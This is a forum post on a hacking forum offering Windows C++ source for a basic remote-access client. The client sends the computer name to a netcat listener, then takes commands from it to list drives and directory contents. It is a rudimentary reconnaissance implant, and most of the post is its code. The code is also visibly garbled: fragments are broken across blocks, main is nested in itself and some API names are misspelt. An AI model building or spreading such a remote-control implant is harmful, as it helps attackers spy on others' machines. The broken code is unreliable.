

Forum:[Hack Forums](#)

Thread: [Simple TCP Client That Sends Computer Name To A Server](#)

gurlhackerclub - August 31, 2020, 9:34 pm

Simple TCP Client That Sends Computer Name To A Server.

Thought some of you might like this simple example.

Programmed in Windows C++

Run netcat on your localhost.

```
ncat -lvnp 5000
```

Run this oode. Check back at your netcat session and you see your computer name.

added bonus

on your netcat session type

"d" and hit enter.

You will get a list of drives

type

lowercase l

"lC:\\"

You get a file list.

type

q

to quit

```
Code #ifndef WIN32_LEAN_AND_MEAN
```

```
#define WIN32_LEAN_AND_MEAN
```

```
#endif
```

```
#include <windows.h>
```

```
#include <winsock2.h>
```

```
#include <ws2tcpip.h>
```

```
#include <iphlpapi.h>
```

```
#include <tchar.h>
```

```
#include <stdio.h>
```

```
#include <iostream>
```

```
#include <filesystem>
```

```
#include <shlobj.h>
```

```
#include <regex>
```

```
using namespace std;
```

```
namespace fs = std::filesystem;
```

```
#pragma comment(lib, "Ws2_32.lib")
```

```

#define DEFAULT_BUFLen 512
#define DEFAULT_PORT 5000

const char* serverip = "127.0.0.1";

WSADATA wsaData;
int iResult;
SOCKET ConnectSocket = INVALID_SOCKET;
struct sockaddr_in clientService;
DWORD mydrives = 100;// buffer length
char lpBuffer[100];// buffer for drive string storage
char lpdrives[1000];

char server_reply[55]{};
string convertToString(char* a, int size)
{
    int i;
    string s = "";
    for (i = 0; i < size; i++) {
        s = s + a[i];
    }
    return s;
}
int EvaluateCommand(char recvbuff[55])
{
    cout << recvbuff;
    char newserver_reply[50] = {};
    switch (recvbuff[0])
    {

    case 'l': {
        cout << "list files " << endl;
        string testpath = convertToString(recvbuff, strlen(recvbuff + 1));
        cout << testpath << endl;
        cout << strlen(recvbuff) << endl;
        fs::path the_path(testpath.substr(1));
        cout << the_path;

        if (std::filesystem::exists(the_path))
            cout << " exists\n";
        else
            cout << " does not exist\n";

        fs::path current_dir(the_path);
        const char* searchpattern = "(.*)";
        fs::directory_options::skip_permission_denied;
        if (std::filesystem::exists(the_path)) {
            for (auto& file : fs::directory_iterator(current_dir)) {
                if (std::regex_match(file.path().filename().string(), std::regex(searchpattern,
std::regex::icase)))
                    if (file.is_directory()) {
                    }
                else
            }
        }
    }
    }
}

```

```

        {
        }
        string aids = file.path().string() + ", ";
        const char* sendaids = aids.c_str();

        iResult = send(ConnectSocket, sendaids, (int)strlen(sendaids), 0);

    }
}
else {
    cout << "error" << endl;
    string aids = "directory not found";
    const char* sendaids = aids.c_str();

    iResult = send(ConnectSocket, sendaids, (int)strlen(sendaids), 0);
}
iResult = recv(ConnectSocket, newserver_reply, 55, 0);
if (iResult == SOCKET_ERROR) {
    wprintf(L"send failed with error: %d\n", WSAGetLastError());
    closesocket(ConnectSocket);
    WSACleanup();
    return 1;
}
EvaluateCommand(newserver_reply);
break;
}
case 'q':
    cout << "exiting now";
    break;
case 'd':
    DWORD test = GetLogicalDriveStringsA(mydrives, lpBuffer);
    // Check up to 100 drives...
    int i;
    strcpy_s(lpdrives, sizeof lpdrives, "active drives: ");
    // strcat_s(lpdrives, sizeof lpdrives, " TAR ");
    for (i = 0; i < 100; i++) {
        string sym(1, lpBuffer[i]);
        const char* drsend = sym.c_str();
        strcat_s(lpdrives, sizeof lpdrives, drsend);
    }

    iResult = send(ConnectSocket, lpdrives, (int)strlen(lpdrives), 0);
    if (iResult == SOCKET_ERROR) {
        wprintf(L"send drives failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 1;
    }

    char newrecvbuff[55] = {};
    char newserver_reply[50] = {};
    iResult = recv(ConnectSocket, newserver_reply, 55, 0);
    if (iResult == SOCKET_ERROR) {

```

```

        wprintf(L"send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 1;
    }
    EvaluateCommand(newserver_reply);
    break;
}

return 0;
}
int main(void)
{

    int main();
    {

        char compname[MAX_COMPUTERNAME_LENGTH + 1];
        DWORD complength = sizeof(compname);

        bool ok = GetComputerNameExA((COMPUTER_NAME_FORMAT)0, compname,
&complength);
        printf(compname);

        const char* sendbuf = "Client sending data test";

        // Initialize Winsock
        iResult = WSASStartup(MAKEWORD(2, 2), &wsaData);
        if (iResult != 0) {
            printf("WSAStartup failed: %d\n", iResult);
            return 1;
        }

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        if (ConnectSocket == INVALID_SOCKET) {
            wprintf(L"socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 1;
        }

        //-----
        // The sockaddr_in structure specifies the address family,
        // IP address, and port of the server to be connected to.
        clientService.sin_family = AF_INET;
        //clientService.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
        clientService.sin_port = htons(DEFAULT_PORT);
    }
}

```

```

InetPtonA(AF_INET, serverip, &clientService.sin_addr.s_addr);

//-----
// Connect to server.

iResult = connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService));
if (iResult == SOCKET_ERROR) {
    wprintf(L"connect failed with error: %d\n", WSAGetLastError());
    closesocket(ConnectSocket);
    WSACleanup();
    return 1;
}
//-----
// Send an initial buffer
//char sendcomputer = compnameBuf;

iResult = send(ConnectSocket, compname, (int)strlen(compname), 0);
if (iResult == SOCKET_ERROR) {
    wprintf(L"send failed with error: %d\n", WSAGetLastError());
    closesocket(ConnectSocket);
    WSACleanup();
    return 1;
}

printf("Bytes Sent: %d\n", iResult);

iResult = recv(ConnectSocket, server_reply, 55, 0);
if (iResult == SOCKET_ERROR) {
    wprintf(L"send failed with error: %d\n", WSAGetLastError());
    closesocket(ConnectSocket);
    WSACleanup();
    return 1;
}

// check command returned from server
EvaluateCommand(server_reply);

iResult = shutdown(ConnectSocket, SD_SEND);
if (iResult == SOCKET_ERROR) {
    wprintf(L"shutdown failed with error: %d\n", WSAGetLastError());
    closesocket(ConnectSocket);
    WSACleanup();
    return 1;
}
// close the socket
iResult = closesocket(ConnectSocket);
if (iResult == SOCKET_ERROR) {
    wprintf(L"close failed with error: %d\n", WSAGetLastError());
    WSACleanup();
}

```

```
        return 1;
    }

    WSACleanup();

    return(0);
}

};
```